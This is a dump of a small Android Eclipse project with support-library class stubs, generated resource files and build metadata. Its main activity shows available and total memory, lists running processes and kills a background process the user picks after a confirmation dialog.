package android.support.v4.app;
synchronized class RemoteInputCompatJellybean {
    public static final String RESULTS_CLIP_LABEL = android.remoteinput.results;
    public static final String EXTRA_RESULTS_DATA = android.remoteinput.resultsData;
    private static final String KEY_RESULT_KEY = resultKey;
    private static final String KEY_LABEL = label;
    private static final String KEY_CHOICES = choices;
    private static final String KEY_ALLOW_FREE_FORM_INPUT = allowFreeFormInput;
    private static final String KEY_EXTRAS = extras;
    void RemoteInputCompatJellybean();
    static RemoteInputCompatBase$RemoteInput fromBundle(android.os.Bundle, RemoteInputCompatBase$RemoteInput$Factory);
    static android.os.Bundle toBundle(RemoteInputCompatBase$RemoteInput);
    static RemoteInputCompatBase$RemoteInput[] fromBundleArray(android.os.Bundle[], RemoteInputCompatBase$RemoteInput$Factory);
    static android.os.Bundle[] toBundleArray(RemoteInputCompatBase$RemoteInput[]);
    static android.os.Bundle getResultsFromIntent(android.content.Intent);
    static void addResultsToIntent(RemoteInputCompatBase$RemoteInput[], android.content.Intent, android.os.Bundle);
}










android/support/v4/app/NotificationCompatExtras.class


package android.support.v4.app;
public final synchronized class NotificationCompatExtras {
    public static final String EXTRA_LOCAL_ONLY = android.support.localOnly;
    public static final String EXTRA_GROUP_KEY = android.support.groupKey;
    public static final String EXTRA_GROUP_SUMMARY = android.support.isGroupSummary;
    public static final String EXTRA_SORT_KEY = android.support.sortKey;
    public static final String EXTRA_ACTION_EXTRAS = android.support.actionExtras;
    public static final String EXTRA_REMOTE_INPUTS = android.support.remoteInputs;
    private void NotificationCompatExtras();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplGingerbread.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplGingerbread extends NotificationCompat$NotificationCompatImplBase {
    void NotificationCompat$NotificationCompatImplGingerbread();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/speech/tts/TextToSpeechICSMR1.class


package android.support.v4.speech.tts;
synchronized class TextToSpeechICSMR1 {
    public static final String KEY_FEATURE_EMBEDDED_SYNTHESIS = embeddedTts;
    public static final String KEY_FEATURE_NETWORK_SYNTHESIS = networkTts;
    void TextToSpeechICSMR1();
    static java.util.Set getFeatures(android.speech.tts.TextToSpeech, java.util.Locale);
    static void setUtteranceProgressListener(android.speech.tts.TextToSpeech, TextToSpeechICSMR1$UtteranceProgressListenerICSMR1);
}










android/support/v4/speech/tts/TextToSpeechICS.class


package android.support.v4.speech.tts;
synchronized class TextToSpeechICS {
    private static final String TAG = android.support.v4.speech.tts;
    void TextToSpeechICS();
    static android.speech.tts.TextToSpeech construct(android.content.Context, android.speech.tts.TextToSpeech$OnInitListener, String);
}










android/support/v4/speech/tts/TextToSpeechICSMR1$2.class


package android.support.v4.speech.tts;
final synchronized class TextToSpeechICSMR1$2 implements android.speech.tts.TextToSpeech$OnUtteranceCompletedListener {
    void TextToSpeechICSMR1$2(TextToSpeechICSMR1$UtteranceProgressListenerICSMR1);
    public void onUtteranceCompleted(String);
}










android/support/v4/speech/tts/TextToSpeechICSMR1$1.class


package android.support.v4.speech.tts;
final synchronized class TextToSpeechICSMR1$1 extends android.speech.tts.UtteranceProgressListener {
    void TextToSpeechICSMR1$1(TextToSpeechICSMR1$UtteranceProgressListenerICSMR1);
    public void onStart(String);
    public void onError(String);
    public void onDone(String);
}










android/support/v4/speech/tts/TextToSpeechICSMR1$UtteranceProgressListenerICSMR1.class


package android.support.v4.speech.tts;
abstract interface TextToSpeechICSMR1$UtteranceProgressListenerICSMR1 {
    public abstract void onDone(String);
    public abstract void onError(String);
    public abstract void onStart(String);
}










android/support/v4/hardware/display/DisplayManagerJellybeanMr1.class


package android.support.v4.hardware.display;
final synchronized class DisplayManagerJellybeanMr1 {
    void DisplayManagerJellybeanMr1();
    public static Object getDisplayManager(android.content.Context);
    public static android.view.Display getDisplay(Object, int);
    public static android.view.Display[] getDisplays(Object);
    public static android.view.Display[] getDisplays(Object, String);
}










android/support/v4/hardware/display/DisplayManagerCompat$JellybeanMr1Impl.class


package android.support.v4.hardware.display;
synchronized class DisplayManagerCompat$JellybeanMr1Impl extends DisplayManagerCompat {
    private final Object mDisplayManagerObj;
    public void DisplayManagerCompat$JellybeanMr1Impl(android.content.Context);
    public android.view.Display getDisplay(int);
    public android.view.Display[] getDisplays();
    public android.view.Display[] getDisplays(String);
}










android/support/v4/hardware/display/DisplayManagerCompat.class


package android.support.v4.hardware.display;
public abstract synchronized class DisplayManagerCompat {
    private static final java.util.WeakHashMap sInstances;
    public static final String DISPLAY_CATEGORY_PRESENTATION = android.hardware.display.category.PRESENTATION;
    void DisplayManagerCompat();
    public static DisplayManagerCompat getInstance(android.content.Context);
    public abstract android.view.Display getDisplay(int);
    public abstract android.view.Display[] getDisplays();
    public abstract android.view.Display[] getDisplays(String);
    static void <clinit>();
}










android/support/v4/hardware/display/DisplayManagerCompat$LegacyImpl.class


package android.support.v4.hardware.display;
synchronized class DisplayManagerCompat$LegacyImpl extends DisplayManagerCompat {
    private final android.view.WindowManager mWindowManager;
    public void DisplayManagerCompat$LegacyImpl(android.content.Context);
    public android.view.Display getDisplay(int);
    public android.view.Display[] getDisplays();
    public android.view.Display[] getDisplays(String);
}










android/support/annotation/IntDef.class


package android.support.annotation;
public abstract interface IntDef extends annotation.Annotation {
    public abstract long[] value();
    public abstract boolean flag();
}










android/support/annotation/BoolRes.class


package android.support.annotation;
public abstract interface BoolRes extends annotation.Annotation {
}










android/support/annotation/ColorRes.class


package android.support.annotation;
public abstract interface ColorRes extends annotation.Annotation {
}










android/support/annotation/AnimatorRes.class


package android.support.annotation;
public abstract interface AnimatorRes extends annotation.Annotation {
}










android/support/annotation/NonNull.class


package android.support.annotation;
public abstract interface NonNull extends annotation.Annotation {
}










android/support/annotation/FractionRes.class


package android.support.annotation;
public abstract interface FractionRes extends annotation.Annotation {
}










android/support/annotation/DimenRes.class


package android.support.annotation;
public abstract interface DimenRes extends annotation.Annotation {
}










android/support/annotation/StyleRes.class


package android.support.annotation;
public abstract interface StyleRes extends annotation.Annotation {
}










android/support/annotation/StringRes.class


package android.support.annotation;
public abstract interface StringRes extends annotation.Annotation {
}










android/support/annotation/AnyRes.class


package android.support.annotation;
public abstract interface AnyRes extends annotation.Annotation {
}










android/support/annotation/AttrRes.class


package android.support.annotation;
public abstract interface AttrRes extends annotation.Annotation {
}










android/support/annotation/StringDef.class


package android.support.annotation;
public abstract interface StringDef extends annotation.Annotation {
    public abstract String[] value();
}










android/support/annotation/DrawableRes.class


package android.support.annotation;
public abstract interface DrawableRes extends annotation.Annotation {
}










android/support/annotation/XmlRes.class


package android.support.annotation;
public abstract interface XmlRes extends annotation.Annotation {
}










android/support/annotation/IdRes.class


package android.support.annotation;
public abstract interface IdRes extends annotation.Annotation {
}










android/support/annotation/AnimRes.class


package android.support.annotation;
public abstract interface AnimRes extends annotation.Annotation {
}










android/support/annotation/LayoutRes.class


package android.support.annotation;
public abstract interface LayoutRes extends annotation.Annotation {
}










android/support/annotation/IntegerRes.class


package android.support.annotation;
public abstract interface IntegerRes extends annotation.Annotation {
}










android/support/annotation/ArrayRes.class


package android.support.annotation;
public abstract interface ArrayRes extends annotation.Annotation {
}










android/support/annotation/StyleableRes.class


package android.support.annotation;
public abstract interface StyleableRes extends annotation.Annotation {
}










android/support/annotation/PluralsRes.class


package android.support.annotation;
public abstract interface PluralsRes extends annotation.Annotation {
}










android/support/annotation/MenuRes.class


package android.support.annotation;
public abstract interface MenuRes extends annotation.Annotation {
}










android/support/annotation/RawRes.class


package android.support.annotation;
public abstract interface RawRes extends annotation.Annotation {
}










android/support/annotation/InterpolatorRes.class


package android.support.annotation;
public abstract interface InterpolatorRes extends annotation.Annotation {
}










android/support/annotation/Nullable.class


package android.support.annotation;
public abstract interface Nullable extends annotation.Annotation {
}











X_02/res/drawable-hdpi/bg.jpg





X_02/ic_launcher-web.png





X_02/res/drawable-mdpi/ic_launcher.png





X_02/res/drawable-hdpi/ic_launcher.png





X_02/res/drawable-xhdpi/ic_launcher.png





X_02/res/drawable-xxhdpi/ic_launcher.png





X_02/bin/res/crunch/drawable-mdpi/ic_launcher.png





X_02/bin/res/crunch/drawable-hdpi/ic_launcher.png





X_02/bin/res/crunch/drawable-xhdpi/ic_launcher.png





X_02/bin/res/crunch/drawable-xxhdpi/ic_launcher.png





X_02/gen/com/example/x_02/BuildConfig.java


X_02/gen/com/example/x_02/BuildConfig.java

/** Automatically generated file. DO NOT MODIFY */


package com.example.x_02;





public final class BuildConfig {


    public final static boolean DEBUG = true;


}
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X_02/src/com/example/x_02/MainActivity.java

package com.example.x_02;





import java.io.BufferedReader;


import java.io.DataOutputStream;


import java.io.FileReader;


import java.io.IOException;


import java.util.ArrayList;


import java.util.List;





import android.app.Activity;


import android.app.ActivityManager;


import android.app.ActivityManager.MemoryInfo;


import android.app.ActivityManager.RunningAppProcessInfo;


import android.app.AlertDialog;


import android.content.Context;


import android.content.DialogInterface;


import android.graphics.Color;


import android.os.Bundle;


import android.os.Debug;


import android.text.format.Formatter;


import android.util.Log;


import android.view.Gravity;


import android.view.View;


import android.view.View.OnClickListener;


import android.view.ViewGroup;


import android.widget.AdapterView;


import android.widget.AdapterView.OnItemClickListener;


import android.widget.BaseAdapter;


import android.widget.Button;


import android.widget.EditText;


import android.widget.LinearLayout;


import android.widget.ListView;


import android.widget.TextView;


import android.widget.Toast;








public class MainActivity extends Activity {


    private TextView button01;


    private TextView edittext01;


    private TextView button02;


    private TextView edittext02;


    private Button button03;


    private ListView lv;//ListView引用


    List<String> list=new ArrayList<String>(); 


    private String mem=null;


    ActivityManager am,myActivityManager;//获取运行程序的引用





    


    


      private String getAvailMemory()


        {


            // 获取android当前可用内存大小 


            ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);


            MemoryInfo mi = new MemoryInfo();


            am.getMemoryInfo(mi);


            //mi.availMem; 当前系统的可用内存 





            return Formatter.formatFileSize(getBaseContext(), mi.availMem);// 将获取的内存大小规格化 


            //return mi.availMem/(1024*1024);


        }


      





      private String getTotalMemory() 


        {


            //Toast.makeText(MainActivity.this, "获取总内存",Toast.LENGTH_LONG).show();


            String str1 = "/proc/meminfo";// 系统内存信息文件 


            String str2;


            String[] arrayOfString;


            long initial_memory = 0;


            


            try 


            {


                FileReader localFileReader = new FileReader(str1);


                BufferedReader localBufferedReader = new BufferedReader(


                localFileReader, 8192);


                str2 = localBufferedReader.readLine();// 读取meminfo第一行，系统总内存大小 





                arrayOfString = str2.split("\\s+");


                for (String num : arrayOfString) {


                    Log.i(str2, num + "\t");


                }





                initial_memory = Integer.valueOf(arrayOfString[1]).intValue() * 1024;// 获得系统总内存，单位是KB，乘以1024转换为Byte 


                localBufferedReader.close();





            } catch (IOException e) {


            }


            return Formatter.formatFileSize(getBaseContext(), initial_memory);// Byte转换为KB或者MB，内存大小规格化 


            //return initial_memory/(1024*1024);


        }


        


      


        





    @Override


    protected void onCreate(Bundle savedInstanceState) {





        super.onCreate(savedInstanceState);


        setContentView(R.layout.activity_main);


        


         //button01=(Button)findViewById(R.id.button01);


        edittext01 = (TextView)findViewById(R.id.edittext01);


        //button02 = (Button)findViewById(R.id.button02);


        edittext02 = (TextView)findViewById(R.id.edittext02);


        button03 = (Button)findViewById(R.id.button03);


        lv = (ListView)findViewById(R.id.listview01);


        mem=getAvailMemory().toString();


        edittext01.setText(getAvailMemory().toString());


        edittext02.setText(getTotalMemory().toString());


  


        //获取运行程序列表


        button03.setOnClickListener(new OnClickListener()


        {


            public void onClick(View v) {


                try


                {


                    list.clear();


                    am=(ActivityManager)MainActivity.this.getSystemService(ACTIVITY_SERVICE);//创建ActivityManager对象


                    final List<RunningAppProcessInfo> l =am.getRunningAppProcesses();       


                    


                    if(l.size()==0)//若没有正在运行的程序


                    {


                        Toast.makeText(MainActivity.this,"目前没有正在运行的程序！", Toast.LENGTH_SHORT).show();


                        return;


                    }


                    //在ListView上依次显示出每个正在运行程序的信息


                    for(int i=0;i<l.size();i++)


                    {


                        list.add("第"+i+"项："+l.get(i).processName+",ID="+l.get(i).pid);


                        //edittext02.setText(l.get(i).numRunning);


                    }


                    BaseAdapter ba=new BaseAdapter()//创建适配器


                    {


                        


                            public int getCount() {


                            return list.size();


                        }





                        public Object getItem(int position) {


                            return list.get(position);


                        }





                        public long getItemId(int position) {               


                            return position;


                        }





                        public View getView(int arg0, View arg1, ViewGroup arg2) {


                            LinearLayout ll=new LinearLayout(MainActivity.this);


                            ll.setOrientation(LinearLayout.HORIZONTAL);


                            ll.setPadding(5, 5, 5, 5);


                            TextView tv=new TextView(MainActivity.this);//初始化TextView


                            tv.setTextColor(Color.BLACK);//设置字体颜色


                            tv.setPadding(5,5,5,5);


                            tv.setText(list.get(arg0));//添加任务名字


                            tv.setGravity(Gravity.LEFT);//左对齐


                            tv.setTextSize(16);//字体大小           


                            ll.addView(tv);//LinearLayout添加TextView


                            return ll;


                        }


                        


                    };


                    lv.setAdapter(ba);//设置适配器


                    lv.setOnItemClickListener//设置选中菜单的监听器


                    (


                            new OnItemClickListener()


                            {


                                public void onItemClick(AdapterView<?> arg0, View arg1,final int arg2, long arg3) {


                                    new AlertDialog.Builder(MainActivity.this).setMessage("是否杀死该进程") 


                                    .setPositiveButton("确定", new DialogInterface.OnClickListener() {


                                        @Override


                                        public void onClick(DialogInterface dialog,int which) {


                                            //dialog.cancel() ;


                                            //l.get(arg2).p;


                                            am.killBackgroundProcesses(l.get(arg2).processName); 





                                            edittext01.setText(getAvailMemory().toString());


                                            edittext02.setText(getTotalMemory().toString());


                                            if(mem.equals(getAvailMemory().toString())){


                                                Toast.makeText(MainActivity.this,"该线程不可以被杀死",Toast.LENGTH_LONG).show();


                


                                            }else{


                                                


                                                //String[] str=l.get(arg2).toString().split(":");


                                                 int[] myMempid = new int[] { l.get(arg2).pid};  


                                                   Debug.MemoryInfo[] memoryInfo = am.getProcessMemoryInfo(myMempid);  


                                                   int memSize = memoryInfo[0].dalvikPrivateDirty;  


                                                


                                                String ProInfo=",内存："+memSize+"kb";


                                                Toast.makeText(MainActivity.this,"进程已被杀死,释放内存："+memSize+"KB",Toast.LENGTH_LONG).show();


                                                


                                                mem=getAvailMemory().toString();


                                            }


                                        } 


                                        


                                    }).setNegativeButton("取消", new DialogInterface.OnClickListener() {





                                        @Override


                                        public void onClick(


                                                DialogInterface dialog,


                                                int which) {


                                            // TODO Auto-generated method stub


                                             dialog.cancel() ;


                                        } 


                                        


                                    }).create().show() ;


                                    





                                    


                                    


                                    //Toast.makeText(MainActivity.this,list.get(arg2)+"",Toast.LENGTH_SHORT).show();


                                }


                    


                            }


                    );


                }catch(Exception e)


                {


                    e.printStackTrace();


                }   


            }});





    } 


   


   


 


}







X_02/gen/com/example/x_02/Manifest.java


X_02/gen/com/example/x_02/Manifest.java

/* AUTO-GENERATED FILE.  DO NOT MODIFY.


 *


 * This class was automatically generated by the


 * aapt tool from the resource data it found.  It


 * should not be modified by hand.


 */





package com.example.x_02;





public final class Manifest {


    public static final class permission {


        public static final String FORCE_TOP_PACKAGES="anroid.permission.FORCE_TOP_PACKAGES";


    }


}







X_02/gen/com/example/x_02/R.java


X_02/gen/com/example/x_02/R.java

/* AUTO-GENERATED FILE.  DO NOT MODIFY.


 *


 * This class was automatically generated by the


 * aapt tool from the resource data it found.  It


 * should not be modified by hand.


 */





package com.example.x_02;





public final class R {


    public static final class attr {


    }


    public static final class dimen {


        /**  Default screen margins, per the Android Design guidelines. 





         Example customization of dimensions originally defined in res/values/dimens.xml


         (such as screen margins) for screens with more than 820dp of available width. This


         would include 7" and 10" devices in landscape (~960dp and ~1280dp respectively).


    


         */


        public static final int activity_horizontal_margin=0x7f040000;


        public static final int activity_vertical_margin=0x7f040001;


    }


    public static final class drawable {


        public static final int bg=0x7f020000;


        public static final int ic_launcher=0x7f020001;


    }


    public static final class id {


        public static final int action_settings=0x7f080007;


        public static final int button01=0x7f080001;


        public static final int button02=0x7f080003;


        public static final int button03=0x7f080005;


        public static final int edittext01=0x7f080002;


        public static final int edittext02=0x7f080004;


        public static final int listview01=0x7f080006;


        public static final int textview01=0x7f080000;


    }


    public static final class layout {


        public static final int activity_main=0x7f030000;


    }


    public static final class menu {


        public static final int main=0x7f070000;


    }


    public static final class string {


        public static final int action_settings=0x7f050002;


        public static final int app_name=0x7f050000;


        public static final int hello_world=0x7f050001;


    }


    public static final class style {


        /** 


        Base application theme, dependent on API level. This theme is replaced


        by AppBaseTheme from res/values-vXX/styles.xml on newer devices.


    





            Theme customizations available in newer API levels can go in


            res/values-vXX/styles.xml, while customizations related to


            backward-compatibility can go here.


        





        Base application theme for API 11+. This theme completely replaces


        AppBaseTheme from res/values/styles.xml on API 11+ devices.


    


 API 11 theme customizations can go here. 





        Base application theme for API 14+. This theme completely replaces


        AppBaseTheme from BOTH res/values/styles.xml and


        res/values-v11/styles.xml on API 14+ devices.


    


 API 14 theme customizations can go here. 


         */


        public static final int AppBaseTheme=0x7f060000;


        /**  Application theme. 


 All customizations that are NOT specific to a particular API-level can go here. 


         */


        public static final int AppTheme=0x7f060001;


    }


}







X_02/bin/classes/com/example/x_02/BuildConfig.class

package com.example.x_02;
public final synchronized class BuildConfig {
    public static final boolean DEBUG = 1;
    public void BuildConfig();
}







X_02/bin/classes/com/example/x_02/MainActivity.class

package com.example.x_02;
public synchronized class MainActivity {
    private TextView button01;
    private TextView edittext01;
    private TextView button02;
    private TextView edittext02;
    private Button button03;
    private ListView lv;
    List list;
    private String mem;
    ActivityManager am;
    ActivityManager myActivityManager;
    public void MainActivity();
    private String getAvailMemory();
    private String getTotalMemory();
    protected void onCreate(Bundle);
}







X_02/bin/classes/com/example/x_02/Manifest$permission.class

package com.example.x_02;
public final synchronized class Manifest$permission {
    public static final String FORCE_TOP_PACKAGES = anroid.permission.FORCE_TOP_PACKAGES;
    public void Manifest$permission();
}







X_02/bin/classes/com/example/x_02/Manifest.class

package com.example.x_02;
public final synchronized class Manifest {
    public void Manifest();
}







X_02/bin/classes/com/example/x_02/R$attr.class

package com.example.x_02;
public final synchronized class R$attr {
    public void R$attr();
}







X_02/bin/classes/com/example/x_02/R$dimen.class

package com.example.x_02;
public final synchronized class R$dimen {
    public static final int activity_horizontal_margin = 2130968576;
    public static final int activity_vertical_margin = 2130968577;
    public void R$dimen();
}







X_02/bin/classes/com/example/x_02/R$drawable.class

package com.example.x_02;
public final synchronized class R$drawable {
    public static final int bg = 2130837504;
    public static final int ic_launcher = 2130837505;
    public void R$drawable();
}







X_02/bin/classes/com/example/x_02/R$id.class

package com.example.x_02;
public final synchronized class R$id {
    public static final int action_settings = 2131230727;
    public static final int button01 = 2131230721;
    public static final int button02 = 2131230723;
    public static final int button03 = 2131230725;
    public static final int edittext01 = 2131230722;
    public static final int edittext02 = 2131230724;
    public static final int listview01 = 2131230726;
    public static final int textview01 = 2131230720;
    public void R$id();
}







X_02/bin/classes/com/example/x_02/R$layout.class

package com.example.x_02;
public final synchronized class R$layout {
    public static final int activity_main = 2130903040;
    public void R$layout();
}







X_02/bin/classes/com/example/x_02/R$menu.class

package com.example.x_02;
public final synchronized class R$menu {
    public static final int main = 2131165184;
    public void R$menu();
}







X_02/bin/classes/com/example/x_02/R$string.class

package com.example.x_02;
public final synchronized class R$string {
    public static final int action_settings = 2131034114;
    public static final int app_name = 2131034112;
    public static final int hello_world = 2131034113;
    public void R$string();
}







X_02/bin/classes/com/example/x_02/R$style.class

package com.example.x_02;
public final synchronized class R$style {
    public static final int AppBaseTheme = 2131099648;
    public static final int AppTheme = 2131099649;
    public void R$style();
}







X_02/bin/classes/com/example/x_02/R.class

package com.example.x_02;
public final synchronized class R {
    public void R();
}
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X_02/res/values/dimens.xml
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X_02/res/values-w820dp/dimens.xml
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X_02/res/values/strings.xml

 

     X_02
     Hello world!
     Settings
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X_02/proguard-project.txt

# To enable ProGuard in your project, edit project.properties
# to define the proguard.config property as described in that file.
#
# Add project specific ProGuard rules here.
# By default, the flags in this file are appended to flags specified
# in ${sdk.dir}/tools/proguard/proguard-android.txt
# You can edit the include path and order by changing the ProGuard
# include property in project.properties.
#
# For more details, see
#   http://developer.android.com/guide/developing/tools/proguard.html

# Add any project specific keep options here:

# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
#   public *;
#}







X_02/bin/X_02.apk
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META-INF/MANIFEST.MF


Manifest-Version: 1.0
Created-By: 1.0 (Android)

Name: res/drawable-xhdpi-v4/ic_launcher.png
SHA1-Digest: Q0CfM76JJ1yvOGMXGiPCOtQOMlY=

Name: res/drawable-hdpi-v4/bg.jpg
SHA1-Digest: +m8q2fgOzloNuiliYJ5vBlCWKcc=

Name: AndroidManifest.xml
SHA1-Digest: rTR5Egk2XvbdsNf2coT30dV6WoM=

Name: res/drawable-hdpi-v4/ic_launcher.png
SHA1-Digest: M7t9+3qnvYdiQDrXlvpjl7SIgEU=

Name: res/layout/activity_main.xml
SHA1-Digest: yg9JiM+aNWhhLKlXkxEC3l7cT9Y=

Name: resources.arsc
SHA1-Digest: Hp0zFub5eoBqecXALjqBX3btnPQ=

Name: res/drawable-mdpi-v4/ic_launcher.png
SHA1-Digest: jKb1auVoFouLbAXiBEFRWQFoNw8=

Name: classes.dex
SHA1-Digest: wQg7ZrDl8kuC9iRik1zkSaMZhAA=

Name: res/drawable-xxhdpi-v4/ic_launcher.png
SHA1-Digest: W4QRvAVDtImN+kdvUM8t3+TYbyk=

Name: res/menu/main.xml
SHA1-Digest: M98WvppP0kaWV1YGOzW+pj2gvH8=











META-INF/CERT.SF


Signature-Version: 1.0
SHA1-Digest-Manifest: 6Y8dZdHANvcbN8wDfJlwRGhBXfA=
Created-By: 1.0 (Android)

Name: res/drawable-xhdpi-v4/ic_launcher.png
SHA1-Digest: Nj3rlFJPTg6Uf+ssoSQPIHxQaN4=

Name: res/drawable-hdpi-v4/bg.jpg
SHA1-Digest: iV1WzPmOHGPMKDiOy0ehzHsmT30=

Name: AndroidManifest.xml
SHA1-Digest: Zwpj/S/gUch/kJ0kgyrrtOKwif4=

Name: res/drawable-hdpi-v4/ic_launcher.png
SHA1-Digest: 4g4De+/qTqvheNSMBflhe5bCFZU=

Name: res/layout/activity_main.xml
SHA1-Digest: Afu9sV9iAsVQgrlRLyGW44x8Zmg=

Name: resources.arsc
SHA1-Digest: ceyRoyB6Cb2O6ak9uGkz8SAKEYU=

Name: res/drawable-mdpi-v4/ic_launcher.png
SHA1-Digest: llDM+t9u4Hpu3M5fYYQjMB7fZic=

Name: classes.dex
SHA1-Digest: zBlRZmHA0MeKvUEH5aRb9sFmAwM=

Name: res/drawable-xxhdpi-v4/ic_launcher.png
SHA1-Digest: Lg52KZFsaDPtBxg4ahhj1fIpADY=

Name: res/menu/main.xml
SHA1-Digest: ktjQMLylMsLTnIZrovGJXmBR75Q=











META-INF/CERT.RSA
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X_02/bin/jarlist.cache

# cache for current jar dependecy. DO NOT EDIT.
# format is <lastModified> <length> <SHA-1> <path>
# Encoding is UTF-8







X_02/.classpath
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X_02/.settings/org.eclipse.jdt.core.prefs

eclipse.preferences.version=1
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6
org.eclipse.jdt.core.compiler.compliance=1.6
org.eclipse.jdt.core.compiler.source=1.6







X_02/.project

 
	 X_02
	 
	 
	
	 
		 
			 com.android.ide.eclipse.adt.ResourceManagerBuilder
			 
			
		
		 
			 com.android.ide.eclipse.adt.PreCompilerBuilder
			 
			
		
		 
			 org.eclipse.jdt.core.javabuilder
			 
			
		
		 
			 com.android.ide.eclipse.adt.ApkBuilder
			 
			
		
	
	 
		 com.android.ide.eclipse.adt.AndroidNature
		 org.eclipse.jdt.core.javanature
	







X_02/project.properties

# This file is automatically generated by Android Tools.
# Do not modify this file -- YOUR CHANGES WILL BE ERASED!
#
# This file must be checked in Version Control Systems.
#
# To customize properties used by the Ant build system edit
# "ant.properties", and override values to adapt the script to your
# project structure.
#
# To enable ProGuard to shrink and obfuscate your code, uncomment this (available properties: sdk.dir, user.home):
#proguard.config=${sdk.dir}/tools/proguard/proguard-android.txt:proguard-project.txt

# Project target.
target=android-21







